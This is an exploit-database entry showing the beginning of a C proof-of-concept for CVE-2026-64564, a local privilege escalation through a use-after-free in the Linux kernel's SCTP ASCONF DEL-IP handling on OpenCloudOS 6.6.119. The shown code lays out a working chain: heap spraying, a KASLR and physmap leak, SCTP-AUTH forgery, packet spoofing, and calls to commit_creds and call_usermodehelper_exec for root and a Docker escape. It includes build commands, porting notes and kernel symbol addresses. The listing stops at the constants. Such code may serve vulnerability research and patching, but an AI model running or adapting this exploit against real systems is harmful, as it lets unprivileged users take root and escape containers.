Exploit database

GH-12888df18c5884d8b362d5bd03725559

ethanolgolf/cve-2026-64564

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-64564

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
ethanolgolf/cve-2026-64564Revision 205420373526

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lpe_ocos_docker.c

C · 88,878 bytes
// SCTP ASCONF DEL-IP UAF LPE — OpenCloudOS 6.6.119.
// Clean, self-contained LPE (no test scaffolding). main() runs the full chain:
//
//   1. UAF#1 (leak):  DEL a confirmed-active *secondary* transport so the assoc
//      survives and primary_path/active_path dangle; reclaim the freed slot with
//      a PACKET_TX_RING pgv[] array; getsockopt(SCTP_STATUS) leaks a physmap
//      address of a page we control  (defeats physmap/RANDOMIZE_MEMORY).
//   2. KASLR:  a 4-byte arbitrary read (control transport->asoc, read it back via
//      spinfo_assoc_id) points at the IDT (fixed CPU_ENTRY_AREA VA) -> text slide.
//   3. UAF#2 (control):  reclaim a second freed transport with msg_msg (unprivileged
//      kmalloc-1024 spray) -> a forged sctp_packet whose transport is our fake graph.
//   4. Root:  close()+SO_LINGER fires an ABORT -> sctp_transport_route calls
//      af->get_saddr = commit_creds(fake_sk)  (data-only; no ROP/no shellcode).
//
// Works with KASLR (text+memory), SMEP/SMAP/KPTI, INIT_ON_ALLOC, HARDENED_USERCOPY,
// SELinux (permissive), LIST_HARDENED and UMIP all enabled.  Porting: update the
// symbol addresses (K_*) and struct offsets (#define ...) at the top for the target.
//
// Build: cc -O2 -static -o lpe sctp_asconf_lpe.c
// Run:   ./lpe          (as an ordinary unprivileged user)

#define _GNU_SOURCE
#include <poll.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <time.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <net/if.h>
#include <netinet/in.h>
#include <ifaddrs.h>
#include <netinet/ip.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/netlink.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/resource.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/wait.h>

// ---- PACKET_TX_RING pgv[] reclaim (regular kmalloc-1024; entries are kernel
// addresses of user-mmap'd pages -> gives both a leak and *(af_specific) control) ----
#ifndef PACKET_VERSION
#define PACKET_VERSION 10
#endif
#ifndef PACKET_TX_RING
#define PACKET_TX_RING 13
#endif
#define TPACKET_V1 0
struct tpreq { unsigned int bs, bn, fs, fn; };
#define PGV_BS 4096
#define PGV_BN 128        // 128 * sizeof(struct pgv{char*})=8 -> 1024 -> kmalloc-1024
#define NPGV 96
static uint8_t *pgv_map[NPGV];
static int pgv_fd[NPGV];
static int pgv_n=0;
// content each block gets (globals; set before pgv_spray):
static uint64_t g_xmit=0x4141414141414141ULL;   // block21[0]  = af_specific->sctp_xmit
static uint64_t g_ecn =0x4242424242424242ULL;   // block21[168]= af_specific->ecn_capable
static void pgv_fill(uint8_t *m){
	uint8_t *b21 = m + 21*PGV_BS;     // transport->af_specific = pgv[21] -> block21
	*(uint32_t*)(b21+180) = 16;       // ->sockaddr_len (so getsockopt survives)
	*(uint64_t*)(b21+0)   = g_xmit;   // ->sctp_xmit
	*(uint64_t*)(b21+168) = g_ecn;    // ->ecn_capable
}
// ---- struct offsets (sctp_transport / sctp_association / sctp_af / dst_entry) ----
#define T_AF       192
#define T_ASOC     200
#define T_CWND     228
#define T_BURST    244
#define T_DST      248
#define T_PATHMTU  360
#define T_STATE    372
#define AF_XMIT    0
#define AF_ECN     168
#define AF_SLEN    180
#define A_STATE    592
#define A_PATHMTU  684
#define A_TIMEOUTS 704
// Build the fake object graph into every sprayed page. block103 = fake inner
// transport (packet->transport). Fake asoc in block42, fake af/dst in block25.
static uint64_t g_pivot=0x4141414141414141ULL;   // block25[AF_XMIT] = sctp_xmit target
static void pgv_spray_n(int n){        // allocate up to n more pgv arrays (accumulating)
	for(int i=0;i<n && pgv_n<NPGV;i++){
		int fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ALL));
		if(fd<0) continue;
		int v=TPACKET_V1; setsockopt(fd,SOL_PACKET,PACKET_VERSION,&v,sizeof v);
		struct tpreq r={PGV_BS,PGV_BN,512,(PGV_BS/512)*PGV_BN};
		if(setsockopt(fd,SOL_PACKET,PACKET_TX_RING,&r,sizeof r)<0){ close(fd); continue; }
		uint8_t *m=mmap(0,(size_t)PGV_BS*PGV_BN,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
		if(m==MAP_FAILED){ close(fd); continue; }
		pgv_fill(m);
		pgv_fd[pgv_n]=fd; pgv_map[pgv_n]=m; pgv_n++;
	}
}
static void pgv_spray(void){ pgv_spray_n(NPGV); }

static int VPORT=20000;
static int BPORT=20001;
#define LOOP  htonl(0x7f000001)
#define SRCB  htonl(0x7f000009)
#define SOL_SCTP_ 132
#define SCTP_BINDX_ADD 100
#define SCTP_STATUS_ 14
#define SCTP_PEER_ADDR_PARAMS_ 9
#define SCTP_AUTH_KEY_ 23
#define SCTP_ASCONF_SUPPORTED_ 128
#define SCTP_AUTH_SUPPORTED_   129
#define SCTP_FUTURE_ASSOC_ 0
// generic (GFP_KERNEL, NON-accounted) kmalloc-1024 spray for OpenCloudOS 6.6, where
static int g_authsk=-1; static int g_authkn=0;   // g_authsk's running key-number
static long authkey_spray_on(int *psk, int *pkn, const uint8_t *obj /*obj[8..1023]=key*/, int want){
	if(*psk<0){
		// Container: enable AUTH on THIS spray socket via setsockopt (no CAP_NET_ADMIN,
		// unlike the net.sctp.auth_enable sysctl the host build toggled here).
		*psk=socket(AF_INET,SOCK_STREAM,IPPROTO_SCTP); *pkn=0;
		if(*psk<0) return 0;
		{ struct { uint32_t a,v; } av={SCTP_FUTURE_ASSOC_,1};
		  setsockopt(*psk,SOL_SCTP_,SCTP_AUTH_SUPPORTED_,&av,sizeof av); }
	}
	struct __attribute__((packed)) { uint32_t id; uint16_t kn; uint16_t kl; uint8_t key[1016]; } ak;
	ak.id=0; ak.kl=1016; memcpy(ak.key,obj+8,1016);
	long sent=0;
	// INCREMENTING key-numbers: each key is a NEW allocation (no same-kn replace ->
	// no self-inflicted frees competing with the target slot). kn is u16; if we near
	// the 65535 ceiling, rotate to a fresh socket so keys keep accumulating.
	for(int i=0;i<want;i++){
		if(*pkn>=65000){ *psk=-1; return authkey_spray_on(psk,pkn,obj,want-i)+sent; }
		ak.kn=(uint16_t)(*pkn);
		if(setsockopt(*psk,SOL_SCTP_,SCTP_AUTH_KEY_,&ak,(socklen_t)(8+1016))==0){ sent++; (*pkn)++; } else break; }
	return sent;
}
static long authkey_spray(const uint8_t *obj, int want){ return authkey_spray_on(&g_authsk,&g_authkn,obj,want); }
#define SPP_HB_ENABLE_ 0x01
#define SPP_HB_DEMAND_ 0x02
#define SPP_HB_DISABLE_ 0x04

struct paddrparams {
	uint32_t spp_assoc_id;
	uint8_t  spp_address[128];
	uint32_t spp_hbinterval;
	uint16_t spp_pathmaxrxt;
	uint32_t spp_pathmtu;
	uint32_t spp_flags;
	uint32_t spp_ipv6_flowlabel;
	uint8_t  spp_dscp;
} __attribute__((packed, aligned(4)));   // kernel sizeof() == 152

#define CHUNK_ASCONF     0xC1
#define PARAM_IPV4       0x0005
#define PARAM_DEL_IP     0xC002

// ---- struct sctp_transport field offsets (7.2-rc2, pahole-verified) ----
#define OFF_SRTT     224
#define OFF_CWND     228
#define OFF_PATHMTU  360
#define OFF_STATE    372
// user_key_payload data[] starts at object offset 0x18
#define KEY_DATA_OFF 0x18

// ---- sctp_status / sctp_paddrinfo (uapi) ----
struct paddrinfo {
	uint32_t spinfo_assoc_id;
	uint8_t  spinfo_address[128];
	int32_t  spinfo_state;
	uint32_t spinfo_cwnd;
	uint32_t spinfo_srtt;
	uint32_t spinfo_rto;
	uint32_t spinfo_mtu;
} __attribute__((packed, aligned(4)));
struct sctp_status_ {
	uint32_t sstat_assoc_id;
	int32_t  sstat_state;
	uint32_t sstat_rwnd;
	uint16_t sstat_unackdata;
	uint16_t sstat_penddata;
	uint16_t sstat_instrms;
	uint16_t sstat_outstrms;
	uint32_t sstat_fragmentation_point;
	struct paddrinfo sstat_primary;
};

static void die(const char *m){ perror(m); exit(1); }

static void dumpfile(const char *tag,const char *path){
	char b[8192]; int fd=open(path,O_RDONLY);
	if(fd<0){ printf("[%s] %s: %s\n",tag,path,strerror(errno)); return; }
	int n=read(fd,b,sizeof b-1); close(fd); if(n<0)n=0; b[n]=0;
	printf("[%s] %s:\n%s\n",tag,path,b);
}
static void dumpassoc(const char *tag){ dumpfile(tag,"/proc/net/sctp/assocs"); }
static void dumpremaddr(const char *tag){ dumpfile(tag,"/proc/net/sctp/remaddr"); }
// return the STATE (last column) of the victim's peer path `ipstr`, or -1.
static int path_state(const char *ipstr){
	char b[8192]; int fd=open("/proc/net/sctp/remaddr",O_RDONLY); if(fd<0)return -1;
	int n=read(fd,b,sizeof b-1); close(fd); if(n<0)return -1; b[n]=0;
	int st=-1; size_t l=strlen(ipstr);
	for(char *line=strtok(b,"\n"); line; line=strtok(NULL,"\n")){
		if(strncmp(line,ipstr,l)==0 && line[l]==' '){
			char *p=line+strlen(line); while(p>line && p[-1]!=' ')p--; st=atoi(p);
		}
	}
	return st;
}
// returns 0 on success and fills srtt/cwnd/mtu/state; <0 errno on failure
static int getstatus(int A,uint32_t *srtt,uint32_t *cwnd,uint32_t *mtu,int32_t *state){
	struct sctp_status_ st; memset(&st,0,sizeof st); socklen_t l=sizeof st;
	if(getsockopt(A,SOL_SCTP_,SCTP_STATUS_,&st,&l)<0) return -errno;
	*srtt=st.sstat_primary.spinfo_srtt; *cwnd=st.sstat_primary.spinfo_cwnd;
	*mtu=st.sstat_primary.spinfo_mtu; *state=st.sstat_primary.spinfo_state;
	return 0;
}

static uint32_t crc32c(const uint8_t *p, size_t n){
	uint32_t c = 0xFFFFFFFF;
	for (size_t i=0;i<n;i++){ c^=p[i];
		for (int k=0;k<8;k++) c = (c&1)?(c>>1)^0x82F63B78:(c>>1); }
	return ~c;
}

// ================= SCTP-AUTH (RFC 4895) forgery for the injected ASCONF ======
// The container can't set addip_noauth, so each injected ASCONF carries a valid
// AUTH chunk. Both endpoints are our own loopback sockets -> the endpoint-pair
// key material (RANDOM/CHUNKS/HMAC-ALGO) is sniffed off the handshake and the
// endpoint-pair key is derived exactly as net/sctp/auth.c does.
#define PARAM_RANDOM     0x8002
#define PARAM_CHUNKS     0x8003
#define PARAM_HMAC_ALGO  0x8004
#define CHUNK_AUTH       0x0F
#define HMAC_ID_SHA1     1
static uint32_t g_src;   // ASCONF spoofed source (SRC env; 0 = auto-detect in ns())
static int g_use_auth=1;  // 1 = forge AUTH on the ASCONF + enable AUTH per victim (default
                          // container). 0 = net.sctp.addip_noauth was writable (privileged
                          // container) -> victims stay AUTH-free, plain ASCONF -> the reclaim
                          // is not perturbed by per-assoc AUTH allocations (much more reliable).
struct hs {
	uint32_t vtag_a, serial;
	uint8_t  a_rand[64]; uint16_t a_rl; uint8_t a_chk[64]; uint16_t a_cl; uint8_t a_hm[64]; uint16_t a_hl;
	uint8_t  b_rand[64]; uint16_t b_rl; uint8_t b_chk[64]; uint16_t b_cl; uint8_t b_hm[64]; uint16_t b_hl;
};
static void sha1_block(uint32_t st[5], const uint8_t b[64]){
	uint32_t w[80],a,bb,c,d,e;
	for(int i=0;i<16;i++) w[i]=(b[i*4]<<24)|(b[i*4+1]<<16)|(b[i*4+2]<<8)|b[i*4+3];
	for(int i=16;i<80;i++){ uint32_t x=w[i-3]^w[i-8]^w[i-14]^w[i-16]; w[i]=(x<<1)|(x>>31); }
	a=st[0];bb=st[1];c=st[2];d=st[3];e=st[4];
	for(int i=0;i<80;i++){ uint32_t f,k;
		if(i<20){f=(bb&c)|(~bb&d);k=0x5A827999;}
		else if(i<40){f=bb^c^d;k=0x6ED9EBA1;}
		else if(i<60){f=(bb&c)|(bb&d)|(c&d);k=0x8F1BBCDC;}
		else{f=bb^c^d;k=0xCA62C1D6;}
		uint32_t t=((a<<5)|(a>>27))+f+e+k+w[i]; e=d;d=c;c=(bb<<30)|(bb>>2);bb=a;a=t; }
	st[0]+=a;st[1]+=bb;st[2]+=c;st[3]+=d;st[4]+=e;
}
static void sha1(const uint8_t *m,size_t len,uint8_t out[20]){
	uint32_t st[5]={0x67452301,0xEFCDAB89,0x98BADCFE,0x10325476,0xC3D2E1F0};
	uint64_t bits=(uint64_t)len*8; size_t full=len/64,rem=len%64; uint8_t blk[64];
	for(size_t i=0;i<full;i++) sha1_block(st,m+i*64);
	memset(blk,0,64); memcpy(blk,m+full*64,rem); blk[rem]=0x80;
	if(rem>=56){ sha1_block(st,blk); memset(blk,0,64); }
	for(int j=0;j<8;j++) blk[63-j]=(bits>>(8*j))&0xff;
	sha1_block(st,blk);
	for(int i=0;i<5;i++){ out[i*4]=st[i]>>24;out[i*4+1]=st[i]>>16;out[i*4+2]=st[i]>>8;out[i*4+3]=st[i]; }
}
static void hmac_sha1(const uint8_t *key,size_t kl,const uint8_t *m,size_t ml,uint8_t out[20]){
	uint8_t k[64],ki[64],ko[64],ih[20]; memset(k,0,64);
	if(kl>64) sha1(key,kl,k); else memcpy(k,key,kl);
	for(int i=0;i<64;i++){ ki[i]=k[i]^0x36; ko[i]=k[i]^0x5c; }
	uint8_t *buf=malloc(64+ml); memcpy(buf,ki,64); memcpy(buf+64,m,ml); sha1(buf,64+ml,ih); free(buf);
	uint8_t b2[84]; memcpy(b2,ko,64); memcpy(b2+64,ih,20); sha1(b2,84,out);
}
static int build_vector(uint8_t *o,const uint8_t *r,uint16_t rl,const uint8_t *c,uint16_t cl,const uint8_t *h,uint16_t hl){
	int n=0; memcpy(o+n,r,rl);n+=rl; if(cl){memcpy(o+n,c,cl);n+=cl;} memcpy(o+n,h,hl);n+=hl; return n;
}
static int cmp_vec(const uint8_t *v1,int l1,const uint8_t *v2,int l2){   // net/sctp/auth.c:148
	int diff=l1-l2;
	if(diff){ const uint8_t *lg=(diff>0)?v1:v2; int n=diff>0?diff:-diff; for(int i=0;i<n;i++) if(lg[i]) return diff; }
	return memcmp(v1,v2,l1);
}
static int hs_secret(const struct hs *h,uint8_t *key){   // null ep key + smaller||larger vector
	uint8_t va[192],vb[192];
	int la=build_vector(va,h->a_rand,h->a_rl,h->a_chk,h->a_cl,h->a_hm,h->a_hl);
	int lb=build_vector(vb,h->b_rand,h->b_rl,h->b_chk,h->b_cl,h->b_hm,h->b_hl);
	if(!la||!lb) return 0;
	if(cmp_vec(va,la,vb,lb)<0){ memcpy(key,va,la); memcpy(key+la,vb,lb); }
	else                      { memcpy(key,vb,lb); memcpy(key+lb,va,la); }
	return la+lb;
}
static uint8_t g_cur_key[384]; static int g_cur_klen=0;
static struct hs g_hs, g_sv_hs;
static void set_cur_auth(const struct hs *h){ g_cur_klen=hs_secret(h,g_cur_key); }
static void enable_asconf_auth(int fd){   // ASCONF then AUTH, per-socket, no caps
	if(!g_use_auth) return;   // sysctl path active -> victims stay AUTH-free (reliable)
	struct { uint32_t a,v; } av={SCTP_FUTURE_ASSOC_,1};
	setsockopt(fd,SOL_SCTP_,SCTP_ASCONF_SUPPORTED_,&av,sizeof av);
	setsockopt(fd,SOL_SCTP_,SCTP_AUTH_SUPPORTED_,&av,sizeof av);
}
// ============================================================================
static void wf(const char *path, const char *val){
	int fd=open(path,O_WRONLY); if(fd<0) return; write(fd,val,strlen(val)); close(fd);
}

// Add a blackhole route for ip_be/32 via NETLINK_ROUTE directly (no iproute2, no
// /bin/sh). Still needs CAP_NET_ADMIN (inherent to any route). 0 on success/exists.
struct rtmsg_ { uint8_t rtm_family,rtm_dst_len,rtm_src_len,rtm_tos,rtm_table,rtm_protocol,rtm_scope,rtm_type; uint32_t rtm_flags; };
struct rtattr_ { uint16_t rta_len,rta_type; };
#ifndef RTM_NEWROUTE
#define RTM_NEWROUTE 24
#endif
static int add_blackhole(uint32_t ip_be){
	int fd=socket(AF_NETLINK,SOCK_RAW,0); if(fd<0) return -1;
	struct { struct nlmsghdr nh; struct rtmsg_ rt; uint8_t buf[32]; } req; memset(&req,0,sizeof req);
	req.nh.nlmsg_len=NLMSG_LENGTH(sizeof(struct rtmsg_));
	req.nh.nlmsg_type=RTM_NEWROUTE; req.nh.nlmsg_flags=NLM_F_REQUEST|NLM_F_CREATE|NLM_F_ACK; req.nh.nlmsg_seq=1;
	req.rt.rtm_family=AF_INET; req.rt.rtm_dst_len=32; req.rt.rtm_table=254; req.rt.rtm_protocol=4; req.rt.rtm_scope=0; req.rt.rtm_type=6;
	struct rtattr_ *rta=(struct rtattr_*)((uint8_t*)&req+NLMSG_ALIGN(req.nh.nlmsg_len));
	rta->rta_type=1; rta->rta_len=sizeof(struct rtattr_)+4; memcpy((uint8_t*)rta+sizeof(struct rtattr_),&ip_be,4);
	req.nh.nlmsg_len=NLMSG_ALIGN(req.nh.nlmsg_len)+rta->rta_len;
	if(send(fd,&req,req.nh.nlmsg_len,0)<0){ close(fd); return -1; }
	uint8_t rbuf[512]; int n=recv(fd,rbuf,sizeof rbuf,0); close(fd);
	if(n<(int)sizeof(struct nlmsghdr)) return -1;
	struct nlmsghdr *rh=(struct nlmsghdr*)rbuf;
	if(rh->nlmsg_type==NLMSG_ERROR){ struct nlmsgerr *e=(struct nlmsgerr*)NLMSG_DATA(rh);
		if(e->error==0||e->error==-EEXIST) return 0; return e->error; }
	return 0;
}
static int probe_spoof_src(uint32_t src);   // defined after ip_wrap
static void ns(void){
	// Prefer the RELIABLE sysctl path: if /proc/sys/net/sctp is writable (privileged
	// container, or CAP_NET_ADMIN over the netns), enable ASCONF + addip_noauth netns-
	// wide so every victim stays AUTH-free and the injected ASCONF needs no AUTH chunk.
	// That avoids the per-assoc AUTH allocations that perturb the kmalloc-1024 reclaim
	// (the plain exploit is auth-free for exactly this reason). Only if the sysctls are
	// read-only (default container) do we fall back to per-socket enable + AUTH forgery.
	wf("/proc/sys/net/sctp/addip_enable","1");
	wf("/proc/sys/net/sctp/addip_noauth_enable","1");
	{ int fd=open("/proc/sys/net/sctp/addip_noauth_enable",O_RDONLY); char b[4]={0};
	  if(fd>=0){ if(read(fd,b,1)>0 && b[0]=='1') g_use_auth=0; close(fd); } }
	printf("[+] enable path: %s\n", g_use_auth
		? "per-socket ASCONF+AUTH forgery (default container, /proc/sys ro)"
		: "netns sysctl addip_enable+addip_noauth (victims AUTH-free -> reliable reclaim)");
	// Pick the ASCONF source: if SRC wasn't set explicitly, auto-detect whether a
	// spoofed non-local source survives input rp_filter. If so, use it -> the
	// ASCONF-ACK routes OUT (no OOTB churn, no route). Else fall back to a local
	// source + netlink blackhole (needs one-time CAP_NET_ADMIN).
	if(g_src==0){
		uint32_t nl=inet_addr("192.0.2.9");
		if(probe_spoof_src(nl)){ g_src=nl; printf("[+] auto: non-local src survives rp_filter -> cap-free (no route)\n"); }
		else { g_src=SRCB; printf("[+] auto: non-local src dropped -> local 127.0.0.9 + blackhole\n"); }
	}
	if((ntohl(g_src)>>24)==127){
		int br=add_blackhole(g_src);
		if(br==0) printf("[+] blackhole route for local src installed (netlink)\n");
		else printf("[!] WARNING: blackhole failed (err=%d): needs one-time CAP_NET_ADMIN,\n"
		            "    or a container where a non-local SRC survives rp_filter.\n", br);
	} else {
		printf("[+] non-local SRC 0x%08x: ACK routes out, no blackhole / no CAP_NET_ADMIN\n", ntohl(g_src));
	}
}
static uint8_t *p16(uint8_t *p,uint16_t v){ *(uint16_t*)p=htons(v); return p+2; }
static uint8_t *p32(uint8_t *p,uint32_t v){ *(uint32_t*)p=v; return p+4; }
static int ip_wrap(uint8_t *b,uint32_t src,uint32_t dst,const uint8_t *x,int xl){
	struct iphdr *ip=(void*)b; memset(ip,0,sizeof *ip);
	ip->version=4; ip->ihl=5; ip->tot_len=htons(sizeof *ip+xl);
	ip->ttl=64; ip->protocol=IPPROTO_SCTP; ip->saddr=src; ip->daddr=dst;
	memcpy(b+sizeof *ip,x,xl); return sizeof *ip+xl;
}
// Probe whether a raw packet spoofing `src` to 127.0.0.1 is delivered locally
// (the exact L3 gate the ASCONF injection depends on). UDP, checksum 0. NET_RAW only.
static int probe_spoof_src(uint32_t src){
	int us=socket(AF_INET,SOCK_DGRAM,0); if(us<0) return 0;
	struct sockaddr_in la={.sin_family=AF_INET,.sin_addr.s_addr=LOOP,.sin_port=0};
	if(bind(us,(void*)&la,sizeof la)<0){ close(us); return 0; }
	socklen_t ll=sizeof la; getsockname(us,(void*)&la,&ll);
	struct timeval tv={0,200000}; setsockopt(us,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof tv);
	uint8_t udp[16],*u=udp;
	*(uint16_t*)(u+0)=htons(40000); *(uint16_t*)(u+2)=la.sin_port;
	*(uint16_t*)(u+4)=htons(12); *(uint16_t*)(u+6)=0; memcpy(u+8,"PrOb",4);
	uint8_t ip[64]; int il=ip_wrap(ip,src,LOOP,udp,12);
	((struct iphdr*)ip)->protocol=IPPROTO_UDP;
	int raw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW); if(raw<0){ close(us); return 0; }
	int one=1; setsockopt(raw,IPPROTO_IP,IP_HDRINCL,&one,sizeof one);
	struct sockaddr_in dst={.sin_family=AF_INET,.sin_addr.s_addr=LOOP};
	for(int i=0;i<3;i++) if(sendto(raw,ip,il,0,(void*)&dst,sizeof dst)<0) break;
	close(raw);
	uint8_t rb[32]; int got=recv(us,rb,sizeof rb,0); close(us);
	return got>=4 && memcmp(rb,"PrOb",4)==0;
}
static int asconf(uint8_t *pk,uint32_t vt,uint32_t serial){
	uint8_t *p=pk;
	uint32_t L = getenv("DELIP")? (uint32_t)strtoul(getenv("DELIP"),0,16) : 0x7f000001;
	p=p16(p,BPORT); p=p16(p,VPORT); p=p32(p,vt); p=p32(p,0);
	// Container: prepend a valid AUTH chunk (null key, SHA1) so the DEL-IP is accepted
	// without addip_noauth. HMAC filled after the chunk body is built.
	uint8_t *auth=NULL,*hmac_field=NULL;
	if(g_cur_klen>0){
		auth=p; *p++=CHUNK_AUTH; *p++=0; p=p16(p,28);
		p=p16(p,0); p=p16(p,HMAC_ID_SHA1); hmac_field=p; memset(p,0,20); p+=20;
	}
	uint8_t *chunk=p; *p++=CHUNK_ASCONF; *p++=0; p+=2; p=p32(p,htonl(serial));
	p=p16(p,PARAM_IPV4); p=p16(p,8); p=p32(p,htonl(L));               // Addr Param L (= chunk->transport)
	if(getenv("REORDER")){
		// wildcard (set_primary(L-ALIVE)+del_nonprimary) BEFORE freeing L. For a
		// single-transport victim this keeps primary_path=L when L is then freed, so the
		// reclaim is reachable AND active_path stays on the asconf-ref-held (safe) L.
		p=p16(p,PARAM_DEL_IP); p=p16(p,16); p=p32(p,htonl(1));
		p=p16(p,PARAM_IPV4); p=p16(p,8); p=p32(p,0);                   // DEL-IP 0.0.0.0 (first)
		p=p16(p,PARAM_DEL_IP); p=p16(p,16); p=p32(p,htonl(2));
		p=p16(p,PARAM_IPV4); p=p16(p,8); p=p32(p,htonl(L));           // DEL-IP L (frees asconf->transport)
	} else {
		p=p16(p,PARAM_DEL_IP); p=p16(p,16); p=p32(p,htonl(1));
		p=p16(p,PARAM_IPV4); p=p16(p,8); p=p32(p,htonl(L));           // DEL-IP L (frees asconf->transport)
		p=p16(p,PARAM_DEL_IP); p=p16(p,16); p=p32(p,htonl(2));
		p=p16(p,PARAM_IPV4); p=p16(p,8); p=p32(p,0);                   // DEL-IP 0.0.0.0
	}
	*(uint16_t*)(chunk+2)=htons((uint16_t)(p-chunk));
	if(auth) hmac_sha1(g_cur_key,g_cur_klen,auth,(size_t)(p-auth),hmac_field);
	int len=p-pk; uint32_t crc=crc32c(pk,len); memcpy(pk+8,&crc,4);
	return len;
}
static void grab_params(const uint8_t *chunk,int clen,
			uint8_t *r,uint16_t *rl,uint8_t *c,uint16_t *cl,uint8_t *h,uint16_t *hl){
	int off=20;
	while(off+4<=clen){
		uint16_t t=ntohs(*(uint16_t*)(chunk+off)), l=ntohs(*(uint16_t*)(chunk+off+2));
		if(l<4||off+l>clen) break;
		if(t==PARAM_RANDOM&&l<=64){ memcpy(r,chunk+off,l);*rl=l; }
		else if(t==PARAM_CHUNKS&&l<=64){ memcpy(c,chunk+off,l);*cl=l; }
		else if(t==PARAM_HMAC_ALGO&&l<=64){ memcpy(h,chunk+off,l);*hl=l; }
		off+=(l+3)&~3;
	}
}
static void sniff_handshake(int wfd){
	int ps=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_IP));
	struct sockaddr_ll ll={.sll_family=AF_PACKET,.sll_protocol=htons(ETH_P_IP),
		.sll_ifindex=(int)if_nametoindex("lo")};
	bind(ps,(void*)&ll,sizeof ll);
	struct hs h; memset(&h,0,sizeof h); int ha=0,hb=0;
	for (int i=0;i<9000 && !(ha&&hb);i++){
		uint8_t pk[2048]; ssize_t n=recv(ps,pk,sizeof pk,0); if(n<28) continue;
		int ih=(pk[0]&0xf)*4; if(n<ih+32) continue;
		const uint8_t *chunk=pk+ih+12; int clen=ntohs(*(uint16_t*)(chunk+2));
		if(chunk+clen>pk+n) clen=(int)(pk+n-chunk);
		uint16_t sp=ntohs(*(uint16_t*)(pk+ih)), dp=ntohs(*(uint16_t*)(pk+ih+2));
		uint8_t ct=chunk[0];
		if(sp==BPORT&&dp==VPORT&&ct==1){ h.serial=ntohl(*(uint32_t*)(chunk+16));
			grab_params(chunk,clen,h.b_rand,&h.b_rl,h.b_chk,&h.b_cl,h.b_hm,&h.b_hl); hb=1; }
		if(sp==VPORT&&dp==BPORT&&ct==2){ h.vtag_a=*(uint32_t*)(chunk+4);
			grab_params(chunk,clen,h.a_rand,&h.a_rl,h.a_chk,&h.a_cl,h.a_hm,&h.a_hl); ha=1; }
	}
	if(write(wfd,&h,sizeof h)<0){} _exit(0);
}
static void peer_b(int nadd,struct sockaddr_in vaddr,uint32_t del_ip){
	int one=1; int b=socket(AF_INET,SOCK_STREAM,IPPROTO_SCTP);
	setsockopt(b,SOL_SOCKET,SO_REUSEADDR,&one,sizeof one);
	enable_asconf_auth(b);   // B advertises ASCONF+AUTH in its INIT
	// Default: MULTI-transport (matches the reference host build where the exploit is
	// reliable). SINGLE_TP advertises only the DEL target -> the wildcard has no other
	// peer to remove, so active_path can't bounce onto a removed peer that a within-softirq
	// kzalloc reallocates (the 49.22 walk-phase crash). Trade-off: freeing the sole
	// transport nulls primary_path, so SINGLE_TP breaks the reclaim reads -- experimental.
	uint32_t baddr = getenv("SINGLE_TP") ? htonl(del_ip) : LOOP;
	struct sockaddr_in bv={.sin_family=AF_INET,.sin_port=htons(BPORT),.sin_addr.s_addr=baddr};
	bind(b,(void*)&bv,sizeof bv);
	if(!getenv("SINGLE_TP")) for(int i=0;i<nadd;i++){
		struct sockaddr_in ad={.sin_family=AF_INET,.sin_port=htons(BPORT),
			.sin_addr.s_addr=htonl(0x7f000002+i)};
		setsockopt(b,SOL_SCTP_,SCTP_BINDX_ADD,&ad,sizeof ad);
	}
	usleep(120000);
	if(connect(b,(void*)&vaddr,sizeof vaddr)<0) die("connectB");
	// Quiesce the PEER side too: disable heartbeats on all paths so peer_b sends no
	// periodic HB. Otherwise an incoming HB makes the (dangling) victim assoc flush a
	// HB-ACK via its reclaimed active_path -> sctp_packet_config crash in softirq.
	{ struct paddrparams pp; memset(&pp,0,sizeof pp); pp.spp_flags=SPP_HB_DISABLE_;
	  ((struct sockaddr_in*)pp.spp_address)->sin_family=AF_INET;   // 0.0.0.0 = all
	  setsockopt(b,SOL_SCTP_,SCTP_PEER_ADDR_PARAMS_,&pp,sizeof pp); }
	pause();   // keep the association idle (no data -> no T3 timer refs)
}


// ---- kernel constants — CONFIG for portability. Base (pre-KASLR) addresses from
//      System.map; at runtime SLIDE (the KASLR text slide) is added to each. ----
// Values below are for bzImage-kaslr (RELOCATABLE/RANDOMIZE_BASE build).
#define K_COMMIT_CREDS   0xffffffff81140d10ULL   // commit_creds
#define K_RET_GADGET     0xffffffff81321300ULL   // __static_call_return0 (endbr;xor;ret)
#define K_INIT_USER      0xffffffff82c4f1c0ULL   // root_user
#define K_INIT_USER_NS   0xffffffff82c4f260ULL   // init_user_ns
#define K_INIT_UCOUNTS   0xffffffff82c570e0ULL   // init_ucounts
#define K_INIT_GROUPINFO 0xffffffff82c56600ULL   // init_groups
// UMH escape: call_usermodehelper(path,argv,envp,wait) runs `path` as ROOT in the INIT
// namespaces (host mount ns). Reached directly through the fake af->get_dst call site --
// no core_pattern write, so no procfs remount, so NO mount() syscall: works under Docker's
// DEFAULT seccomp profile. 49.27 address; the 49.22 sed-set overrides it for the test VM.
#define K_CALL_UMH       0xffffffff8112a660ULL   // call_usermodehelper
// 6.6.119 kernel_execve() has NO "NULL argv" fallback (that landed upstream later), so
// call_usermodehelper(path, argv=NULL, ...) faults in kernel_execve+0x168 -- and every
// sctp_transport_route call site hardcodes `xor %esi,%esi` (argv=NULL), so the 4-arg entry
// is unusable here. Instead call the LOWER-level entry:
//     call_usermodehelper_exec(struct subprocess_info *info, int wait)
// at the af->get_saddr site, where rdi=fake_T and rsi=*(fake_asoc+0x10) are BOTH ours. We
// forge subprocess_info inside fake_T, so argv/envp are real pointers, not NULL.
#define K_CALL_UMH_EXEC  0xffffffff8112a4c0ULL   // call_usermodehelper_exec(info, wait)
#define K_UMH_EXEC_WORK  0xffffffff8112a6c0ULL   // call_usermodehelper_exec_work (work->func)
